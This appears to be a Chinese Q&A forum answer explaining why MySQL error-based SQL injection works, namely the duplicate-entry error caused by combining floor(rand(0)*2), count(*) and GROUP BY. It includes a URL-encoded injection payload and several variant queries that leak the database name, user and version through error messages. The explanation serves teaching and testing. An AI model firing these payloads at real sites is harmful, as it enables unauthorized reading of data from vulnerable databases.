根據mysql報錯進行回顯注入的原理是什麼?
+and+1=2+UNION+SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x5f,database(),0x5f,user(),0x5f,version())))a+from+information_schema.tables+group+by+a)b--
為什麼會產生Duplicate entry
主要是rand和group+by的衝突。在mysql的文檔中有這麼一句:
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.
說的是不可以作為ORDER BY的條件欄位, 同理也不可以為group by的。
故:
+and+1=2+UNION+SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x5f,database(),0x5f,user(),0x5f,version())))a+from+information_schema.tables+group+by+a)b--中a為:concat(floor(rand(0)*2),(select+concat(0x5f,database(),0x5f,user(),0x5f,version())))
有rand參與,後面又出現group+by+a語句,故會爆出
Duplicate entry "XXXXXXXXXX" for key "group_key"之類的錯誤。而這裡的「"XXXXXXXXXX」就是 0x5f,database(),0x5f,user(),0x5f,version()的內容,這樣子就可以獲取到資料庫名,用戶名和資料庫版本。
你可以自己的資料庫嘗試一下:
報錯的:
SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(FLOOR(RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b--去掉rand後沒有報錯:
SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(0,(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b--去掉GROUP BY a 後沒有報錯:
SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(FLOOR(RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables )b----------------------------------------添加2014年7月18日----------------------------------
上面這個mysql的bug的主要問題是獲取的值不確定又可重複。同時又要來操作結果。
(說得有點繞了,表達能力不好啊)下面依舊例子(表tuser ):
1. floor是取整數,如果沒有這個,那麼RAND(0)*2將是一個很長的小數,不會是會重複的數。正常:
SELECT id FROM tuser WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT((RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b--2. *2是取0到2的隨機數,如果去掉或換成1,加上floor取整結果都是0,不會是不確定的數。
(*2是最小的可取整數值了,sqlmap上用的也有這句FLOOR(RAND(0)*2),那個注入語句一開始的作者用*2,當否網上不斷傳播,結果就是大家都*2),當然你*3,*4什麼的都是可以的。正常的:
SELECT id FROM tuser WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(FLOOR(RAND(0)),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a
FROM information_schema.tables GROUP BY a)b--3. 另外,如果沒有重新刷一次結果(例子中用的是count(*)來統計結果),單純以rand製造會重複的不確定數也是沒有效果的,如去掉count(*),那麼也不會報錯
正常的:SELECT id FROM tuser WHERE id=1 UNION SELECT 1 FROM (SELECT CONCAT(FLOOR(RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b--所以使用left(rand(),3)之類的也是可以的(會產生會重複不確定的數)
如:報錯的:
SELECT id FROM tuser WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(LEFT(RAND(),3),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b--Mysql報錯注入原理分析(count()、rand()、group by) 具體看這篇文章
再看一遍,體會更深了
推薦閱讀:
※sql注入新手問題?
※如何評價 KoolShare 論壇的 merlin 改版固件?
※如果 CPU 存在安全後門,那麼使用國產伺服器能杜絕安全問題嗎?
※如何看待「網易郵箱泄密事件」?
※15年7月,最近QQ盜號(利用所謂聚會照片)是怎麼回事?這個釣魚網站最近已經見過多次了?